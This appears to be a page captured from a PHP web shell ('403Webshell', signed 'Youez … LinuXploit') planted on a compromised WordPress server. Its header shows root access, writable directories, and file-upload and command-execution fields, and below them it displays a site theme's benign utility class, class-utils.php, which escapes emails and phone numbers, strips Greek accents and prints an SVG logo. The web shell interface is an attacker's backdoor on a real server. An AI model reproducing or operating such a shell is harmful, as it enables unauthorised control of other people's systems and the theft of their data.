403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/themes/erc04961/library/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/themes/erc04961/library/helpers/class-utils.php
<?php
/**
 * Generic/Miscellaneous Utility
 * functions
 *
 * @author Max G J Panas <http://maxpanas.com>
 */

/**
 * Class MOZ_Utils
 *
 */
class MOZ_Utils {

    /**
     * Return an escaped email
     * string to be used with
     * <a href="mailto:{...}"></a>
     *
     * @param $email {string}
     *
     * @return string
     */
    public static function get_esc_email( $email ) {
        $sanitized_email = sanitize_email( $email );

        return is_email( $sanitized_email ) ? esc_attr( $sanitized_email ) : '';
    }

    /**
     * Print an escaped email
     * string to be used with
     * <a href="mailto:{...}"></a>
     *
     * @param $email
     */
    public static function esc_email( $email ) {
        echo self::get_esc_email( $email );
    }

    /**
     * Return an escaped telephone
     * string to be used with
     * <a href="tel:{...}"></a>
     *
     * @param $tel {string}
     *
     * @return mixed
     */
    public static function get_esc_tel( $tel ) {
        return esc_attr( preg_replace( '/[^+0-9]/i', '', $tel ) );
    }

    /**
     * Print an escaped telephone
     * string to be used with
     * <a href="tel:{...}"></a>
     *
     * @param $tel {string}
     */
    public static function esc_tel( $tel ) {
        echo self::get_esc_tel( $tel );
    }

    /**
     * Removes accents from
     * characters in
     * string
     *
     * @param string $str
     *
     * @returns string
     */
    public static function remove_accents( $str ) {
        $accents_to_remove = array(
            'ά',
            'έ',
            'ή',
            'ί',
            'ό',
            'ύ',
            'ώ',
            'Ά',
            'Έ',
            'Ή',
            'Ί',
            'ΐ',
            'Ό',
            'Ύ',
            'Ώ',
            'ς',
            'À',
            'Â',
            'Á',
            'Ã',
            'Ä',
            'Ç',
            'È',
            'É',
            'Ê',
            'Ë',
            'Î',
            'Ò',
            'Ó',
            'Ô',
            'Õ',
            'Ö',
            'Ù',
            'Ú',
            'Û',
            'à',
            'à',
            'á',
            'â',
            'ã',
            'ä',
            'ç',
            'è',
            'é',
            'ê',
            'ë',
            'ì',
            'í',
            'î',
            'ï',
            'ò',
            'ó',
            'ô',
            'õ',
            'ù',
            'ú',
            'û',
            'ü'
        );
        $replace_with = array(
            'α',
            'ε',
            'η',
            'ι',
            'ο',
            'υ',
            'ω',
            'Α',
            'Ε',
            'Η',
            'Ι',
            'ι',
            'Ο',
            'Υ',
            'Ω',
            'Σ',
            'A',
            'A',
            'A',
            'A',
            'A',
            'C',
            'E',
            'E',
            'E',
            'E',
            'I',
            'O',
            'O',
            'O',
            'O',
            'O',
            'U',
            'U',
            'U',
            'a',
            'a',
            'a',
            'a',
            'a',
            'a',
            'c',
            'e',
            'e',
            'e',
            'e',
            'i',
            'i',
            'i',
            'i',
            'o',
            'o',
            'o',
            'o',
            'u',
            'u',
            'u',
            'u'
        );

        return str_replace( $accents_to_remove, $replace_with, remove_accents( $str ) );
    }

    /**
     * Capitalize text keeping Greek OR (ή) intact
     *
     * @param string $text
     *
     * @return string
     */
    public static function capitalize_text( $text ) {
        $text = mb_convert_case( ( string ) $text, MB_CASE_UPPER, "UTF-8" );
        $replacements = array(
            array( 'Ά', 'Α' ),
            array( 'Έ', 'Ε' ),
            array( 'Ί', 'Ι' ),
            array( 'Ύ', 'Υ' ),
            array( 'Ό', 'Ο' ),
            array( ' Ή ', ' -GR_OR- ' ),
            array( 'Ή', 'Η' ),
            array( ' -GR_OR- ', ' Ή ' ),
            array( 'Ώ', 'Ω' )
        );
        foreach ( $replacements as $char ) {
            $accented = $char[ 0 ];
            $unaccented = $char[ 1 ];
            $text = str_replace( $accented, $unaccented, $text );
        }
        return $text;
    }

    /**
     * Titlize text keeping Greek OR (ή) intact
     *
     * @param string $text
     *
     * @return string
     */
    public static function titleize_text( $text ) {
        $text = mb_convert_case( ( string ) $text, MB_CASE_TITLE, "UTF-8" );
        $replacements = array(
            array( 'Ά', 'Α' ),
            array( 'Έ', 'Ε' ),
            array( 'Ί', 'Ι' ),
            array( 'Ύ', 'Υ' ),
            array( 'Ό', 'Ο' ),
            array( ' Ή ', ' -GR_OR- ' ),
            array( 'Ή', 'Η' ),
            array( ' -GR_OR- ', ' Ή ' ),
            array( 'Ώ', 'Ω' )
        );
        foreach ( $replacements as $char ) {
            $accented = $char[ 0 ];
            $unaccented = $char[ 1 ];
            $text = str_replace( $accented, $unaccented, $text );
        }
        return $text;
    }

    /**
     * Convert a string to
     * uppercase and remove
     * accents
     *
     * NOTE: Avoid passing in HTML
     *       This method will dumbly
     *       transform HTML tags and
     *       attributes to uppercase.
     *       HTML entities eg: "&nbsp;"
     *       are OK
     *
     * @param string $str
     *
     * @return string
     */
    public static function get_upper( $text ) {
        $text = mb_convert_case( ( string ) $text, MB_CASE_UPPER, "UTF-8" );
        $replacements = array(
            array( 'Ά', 'Α' ),
            array( 'Έ', 'Ε' ),
            array( 'Ί', 'Ι' ),
            array( 'Ύ', 'Υ' ),
            array( 'Ό', 'Ο' ),
            array( ' Ή ', ' -GR_OR- ' ),
            array( 'Ή', 'Η' ),
            array( ' -GR_OR- ', ' Ή ' ),
            array( 'Ώ', 'Ω' )
        );
        foreach ( $replacements as $char ) {
            $accented = $char[ 0 ];
            $unaccented = $char[ 1 ];
            $text = str_replace( $accented, $unaccented, $text );
        }
        return $text;
    }

    /**
     * Convert a string to
     * uppercase and remove
     * accents then print it
     *
     * NOTE: Avoid passing in HTML
     *       This method will dumbly
     *       transform HTML tags and
     *       attributes to uppercase.
     *       HTML entities eg: "&nbsp;"
     *       are OK
     *
     * @param string $str
     */
    public static function upper( $str ) {
        echo self::get_upper( $str );
    }

    /**
     * Get the copyright years string
     * depending on the current year
     * and the original copyright
     * year
     *
     * eg: '2014-2020'
     *
     * @param int $original_copyright_year
     * @param string $separator
     *
     * @return string
     */
    public static function get_copyright_years( $original_copyright_year, $separator = '-' ) {
        $current_year = ( int ) date( 'Y' );

        return $current_year > ( int ) $original_copyright_year ? "{$original_copyright_year}{$separator}{$current_year}" : $original_copyright_year;
    }

    /**
     * Print the copyright years string
     * depending on the current year
     * and the original copyright
     * year
     *
     * eg: '2014-2020'
     *
     * @param int $original_copyright_year
     * @param string $separator
     *
     * @return string
     */
    public static function copyright_years( $original_copyright_year, $separator = '-' ) {
        echo self::get_copyright_years( $original_copyright_year, $separator );
    }

    /**
     * Get the Mozaik, Mozaik Hospitality
     * signature
     *
     * @param string $id
     * @param array $params
     *
     * @return string
     */
    public static function get_mozaik_signature( $id = 'mozaik', $params = array() ) {
        $default_params = [
            'width' => '70px',
            'height' => '30px',
            'fill' => '#fff',
            'url' => ( $id === 'mozaik_hospitality' ) ? 'https://www.mozaikhospitality.com/' : 'https://www.mozaik.com/',
        ];

        $options = array_merge( $default_params, $params );

        ob_start();
        ?>
        <a href="<?php echo $options[ 'url' ]; ?>" target="_blank">
            <?php
            if ( $id === 'mozaik_hospitality' ) {
                ?>
                <svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px"
                     width="<?php echo $options[ 'width' ]; ?>" height="<?php echo $options[ 'height' ]; ?>"
                     viewBox="8.75 9.417 376.376 53" enable-background="new 8.75 9.417 376.376 53"
                     xml:space="preserve">
                    <path fill="<?php echo $options[ 'fill' ]; ?>" d="M208.379,48.961h-2.76V37.149h-15.972v11.813h-2.757V22.54h2.757v12.084h15.972V22.54h2.76V48.961z
                          M233.518,39.985c0,5.4-4.158,9.561-9.52,9.561c-5.4,0-9.559-4.157-9.559-9.561c0-5.321,4.158-9.441,9.559-9.441
                          C229.357,30.543,233.518,34.662,233.518,39.985z M230.837,39.985c0-3.847-2.955-6.995-6.839-6.995c-3.924,0-6.878,3.148-6.878,6.995
                          c0,3.963,2.954,7.152,6.878,7.152C227.882,47.137,230.837,43.948,230.837,39.985z M239.966,43.407
                          c0.544,2.445,2.448,3.922,5.904,3.922c2.956,0,4.937-1.244,4.937-3.185c0-1.593-1.281-2.567-3.109-2.837l-4.116-0.701
                          c-2.954-0.464-5.324-1.786-5.324-4.818c0-3.225,2.914-5.324,7.228-5.324c3.652,0,7.461,1.592,7.771,5.712h-2.485
                          c-0.312-2.332-2.254-3.576-5.285-3.576c-2.836,0-4.586,1.244-4.586,2.992c0,1.36,0.974,2.408,3.539,2.797l3.574,0.623
                          c2.564,0.427,5.362,1.554,5.362,4.972c0,3.498-3.146,5.558-7.54,5.558c-4.66,0-7.811-2.06-8.352-6.139h2.484L239.966,43.407
                          L239.966,43.407z M277.034,39.985c0,5.286-4.156,9.48-9.285,9.48c-2.683,0-4.897-0.93-6.528-2.524v11.657h-2.643V31.01h2.643v2.058
                          c1.631-1.591,3.848-2.524,6.528-2.524C272.878,30.543,277.034,34.739,277.034,39.985z M274.354,39.985
                          c0-3.847-3.029-7.11-6.955-7.11c-2.485,0-4.662,1.089-6.178,3.341v7.576c1.516,2.254,3.691,3.342,6.178,3.342
                          C271.323,47.137,274.354,43.872,274.354,39.985z M282.396,24.21c0-1.011,0.775-1.787,1.826-1.787c1.012,0,1.826,0.777,1.826,1.787
                          c0,1.049-0.814,1.787-1.826,1.787C283.173,25.997,282.396,25.259,282.396,24.21z M285.583,31.01v17.952H282.9V31.01H285.583z
                          M304.386,48.92c-1.632,0.467-2.679,0.623-3.884,0.623c-4.081,0-6.219-2.369-6.219-7.033v-9.209h-4.776V31.01h4.776v-6.646h2.643
                          v6.646h6.801v2.291h-6.801v9.209c0,3.267,1.283,4.586,4.043,4.586c0.932,0,2.021-0.196,2.991-0.467L304.386,48.92z M325.407,31.01
                          v17.952h-2.681v-1.982c-1.632,1.557-3.811,2.488-6.488,2.488c-5.131,0-9.286-4.195-9.286-9.481c0-5.246,4.155-9.441,9.286-9.441
                          c2.679,0,4.856,0.933,6.488,2.486v-2.021L325.407,31.01L325.407,31.01z M322.728,43.872v-7.732
                          c-1.516-2.177-3.692-3.266-6.139-3.266c-3.965,0-6.955,3.266-6.955,7.113c0,3.886,2.99,7.149,6.955,7.149
                          C319.034,47.137,321.212,46.045,322.728,43.872z M334.576,48.961h-2.644V21.372h2.644V48.961z M341.182,24.21
                          c0-1.011,0.776-1.787,1.827-1.787c1.011,0,1.827,0.777,1.827,1.787c0,1.049-0.816,1.787-1.827,1.787
                          C341.958,25.997,341.182,25.259,341.182,24.21z M344.369,31.01v17.952h-2.683V31.01H344.369z M363.175,48.92
                          c-1.632,0.467-2.681,0.623-3.886,0.623c-4.079,0-6.218-2.369-6.218-7.033v-9.209h-4.778V31.01h4.778v-6.646h2.644v6.646h6.801v2.291
                          h-6.801v9.209c0,3.267,1.28,4.586,4.039,4.586c0.935,0,2.023-0.196,2.992-0.467L363.175,48.92z M372.537,58.599h-2.835l3.962-8.703
                          l-9.169-18.885h2.873l7.696,15.814l7.226-15.814h2.836L372.537,58.599z M32.679,31.559L21.396,21.312H18.12v27.634h7.294V34.799
                          l7.265,6.555l7.215-6.594v14.186h7.296V21.312h-3.276L32.679,31.559z M65.984,21.312c-7.631,0-13.784,6.223-13.784,13.859
                          c0,7.625,6.153,13.775,13.784,13.775c7.623,0,13.816-6.15,13.816-13.775C79.801,27.535,73.607,21.312,65.984,21.312z M65.984,41.723
                          c-3.612,0-6.565-2.98-6.565-6.592c0-3.645,2.953-6.594,6.565-6.594c3.642,0,6.595,2.949,6.595,6.594
                          C72.579,38.743,69.626,41.723,65.984,41.723z M82.978,21.312v7.303h11.058l-11.76,20.331h23.256v-7.253H94.847l11.754-20.381H82.978
                          z M142.671,21.312h7.258v27.634h-7.258V21.312z M128.86,22.976c-1.952-1.06-4.187-1.663-6.56-1.663
                          c-7.627,0-13.776,6.223-13.776,13.859c0,7.625,6.149,13.774,13.776,13.774c2.373,0,4.606-0.596,6.56-1.645v1.645h7.262V21.312
                          h-7.262V22.976z M122.302,41.723c-3.611,0-6.559-2.98-6.559-6.592c0-3.645,2.945-6.594,6.559-6.594c3.404,0,6.202,2.572,6.559,5.88
                          v1.422C128.504,39.124,125.706,41.723,122.302,41.723z M169.604,33.947l12.598-12.635h-10.164l-9.285,9.325v-9.325h-7.261v27.634
                          h7.261v-8.021l1.73-1.781l9.834,9.803h10.248L169.604,33.947z"/>
                </svg>
                <?php
            }
            if ( $id === 'mozaik' ) {
                ?>
                <svg version="1.1" xmlns="http://www.w3.org/2000/svg"
                     x="0px" y="0px"
                     width="<?php echo $options[ 'width' ]; ?>" height="<?php echo $options[ 'height' ]; ?>"
                     viewBox="17.167 10.5 171.389 32"
                     enable-background="new 17.167 10.5 171.389 32"
                     xml:space="preserve">
                    <path fill="<?php echo $options[ 'fill' ]; ?>" d="M47.904,12.646h3.277v27.635h-7.297V26.094l-7.215,6.594l-7.265-6.555v14.148H22.11V12.646h3.277
                          l11.282,10.247L47.904,12.646z M83.791,26.505c0,7.625-6.193,13.775-13.816,13.775c-7.631,0-13.784-6.15-13.784-13.775
                          c0-7.636,6.153-13.859,13.784-13.859C77.598,12.646,83.791,18.869,83.791,26.505z M76.57,26.465c0-3.645-2.953-6.594-6.595-6.594
                          c-3.612,0-6.565,2.949-6.565,6.594c0,3.612,2.953,6.592,6.565,6.592C73.616,33.057,76.569,30.076,76.57,26.465z M86.968,12.646
                          v7.303h11.058L86.267,40.281h23.255v-7.254H98.837l11.752-20.381H86.968z M132.851,12.646h7.262v27.635h-7.262v-1.646
                          c-1.953,1.049-4.186,1.646-6.559,1.646c-7.627,0-13.777-6.15-13.777-13.775c0-7.636,6.15-13.859,13.777-13.859
                          c2.373,0,4.606,0.603,6.559,1.663V12.646z M132.851,25.751c-0.357-3.308-3.155-5.88-6.559-5.88c-3.613,0-6.56,2.949-6.56,6.594
                          c0,3.612,2.947,6.592,6.56,6.592c3.403,0,6.201-2.6,6.559-5.884V25.751z M146.662,40.281h7.258V12.646h-7.258V40.281z
                          M173.596,25.281l12.596-12.635h-10.164l-9.284,9.325v-9.325h-7.262v27.635h7.262v-8.023l1.73-1.781l9.835,9.805h10.247
                          L173.596,25.281z"/>
                </svg>
                <?php
            }
            ?>
        </a>
        <?php
        return ob_get_clean();
    }

    /**
     * Print the Mozaik, Mozaik Hospitality
     * signature
     *
     * @param string $id
     * @param array $params
     *
     * @return string
     */
    public static function mozaik_signature( $id = 'mozaik', $params = array() ) {
        echo self::get_mozaik_signature( $id, $params );
    }

    public static function array_merge_recursive_distinct( array $array1, array $array2 ) {
        $merged = $array1;

        foreach ( $array2 as $key => &$value ) {
            if ( is_array( $value ) && isset( $merged[ $key ] ) && is_array( $merged[ $key ] ) ) {
                $merged[ $key ] = self::array_merge_recursive_distinct( $merged[ $key ], $value );
            } else {
                $merged[ $key ] = $value;
            }
        }

        return $merged;
    }

    /**
     * Clean up bad HTML content string
     *
     * @param string $badHtml
     *
     * @return string
     */
    public static function html_cleanup( $badHtml ) {

        libxml_use_internal_errors( true ); //use this to prevent warning messages from displaying because of the bad HTML

        $doc = new DOMDocument( '1.0', 'UTF-8' );
        $doc->preserveWhiteSpace = TRUE;
        $doc->substituteEntities = FALSE;
        $doc->formatOutput = FALSE;
        $doc->encoding = 'UTF-8';
        $doc->loadHTML(
                '<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">' .
                '<html xmlns="http://www.w3.org/1999/xhtml">' .
                '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>' .
                '<body>' .
                $badHtml
                . '</body>'
                . '</html>'
        );
        $goodHtml = $doc->saveHTML();

        return html_entity_decode( trim( preg_replace( '/<body>(.*)<\/body>/', '$1', $goodHtml ) ) );
    }

    /**
     * Get options from the default language
     *
     * @param mixed $fieldNames
     *
     * @return mixed
     */
    public static function get_default_language_site_options( $fieldNames = array() ) {
        $fieldValues = [];
        $multipleOptions = FALSE;

        if ( is_array( $fieldNames ) && count( $fieldNames ) > 0 ) {
            $multipleOptions = TRUE;
        } else if ( is_string( $fieldNames ) ) {
            $fieldNames = [ $fieldNames ];
        } else {
            return NULL;
        }

        global $sitepress;
        $languageSwitched = FALSE;

        if ( !is_null( $sitepress ) ) {
            $defaultLanguage = $sitepress->get_default_language();
            $currentLanguage = ICL_LANGUAGE_CODE;

            if ( $defaultLanguage != $currentLanguage ) {
                $sitepress->switch_lang( $defaultLanguage );
                $languageSwitched = TRUE;
            }
        }

        foreach ( $fieldNames as $fieldKey ) {
            if ( is_string( $fieldKey ) ) {
                $fieldValues[ $fieldKey ] = get_field( $fieldKey, 'options' );
            } else {

            }
        }

        if ( !is_null( $sitepress ) && $languageSwitched ) {
            $sitepress->switch_lang( $currentLanguage );
        }

        if ( $multipleOptions ) {
            return $fieldValues;
        } else {
            return array_pop( $fieldValues );
        }
    }

    /**
     * Get post fields from the default language
     *
     * @param mixed $postId
     * @param mixed $fieldNames
     *
     * @return mixed
     */
    public static function get_default_language_field_from_post( $postId = 0, $fieldNames = array() ) {

        if ( count( $fieldNames ) ) {
            $fieldValues = [];
            $multipleOptions = FALSE;

            if ( is_array( $fieldNames ) && count( $fieldNames ) > 0 ) {
                $multipleOptions = TRUE;
            } else if ( is_string( $fieldNames ) ) {
                $fieldNames = [ $fieldNames ];
            } else {
                return NULL;
            }

            global $sitepress;
            $languageSwitched = FALSE;

            if ( !is_null( $sitepress ) ) {
                $defaultLanguage = $sitepress->get_default_language();
                $currentLanguage = ICL_LANGUAGE_CODE;

                if ( $defaultLanguage != $currentLanguage ) {
                    $sitepress->switch_lang( $defaultLanguage );
                    $languageSwitched = TRUE;
                }
            }

            foreach ( $fieldNames as $fieldIndex => $fieldKey ) {
                if ( is_string( $fieldIndex ) && is_array( $fieldKey ) ) {

                    $fieldValues[ $fieldIndex ] = [];
                    $rowIndex = 0;

                    if ( have_rows( $fieldIndex ) ) {

                        while ( have_rows( $fieldIndex ) ) {
                            the_row();
                            $fieldValues[ $fieldIndex ][ $rowIndex ] = [];

                            foreach ( $fieldKey as $key ) {
                                $fieldValues[ $fieldIndex ][ $rowIndex ][ $key ] = get_sub_field( $key );
                            }
                            $rowIndex++;
                        }
                    }
                } else {
                    $fieldValues[ $fieldKey ] = get_field( $fieldKey, $postId );
                }
            }


            if ( !is_null( $sitepress ) && $languageSwitched ) {
                $sitepress->switch_lang( $currentLanguage );
            }


            if ( $multipleOptions ) {
                return $fieldValues;
            } else {
                return array_pop( $fieldValues );
            }
        }

        return NULL;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit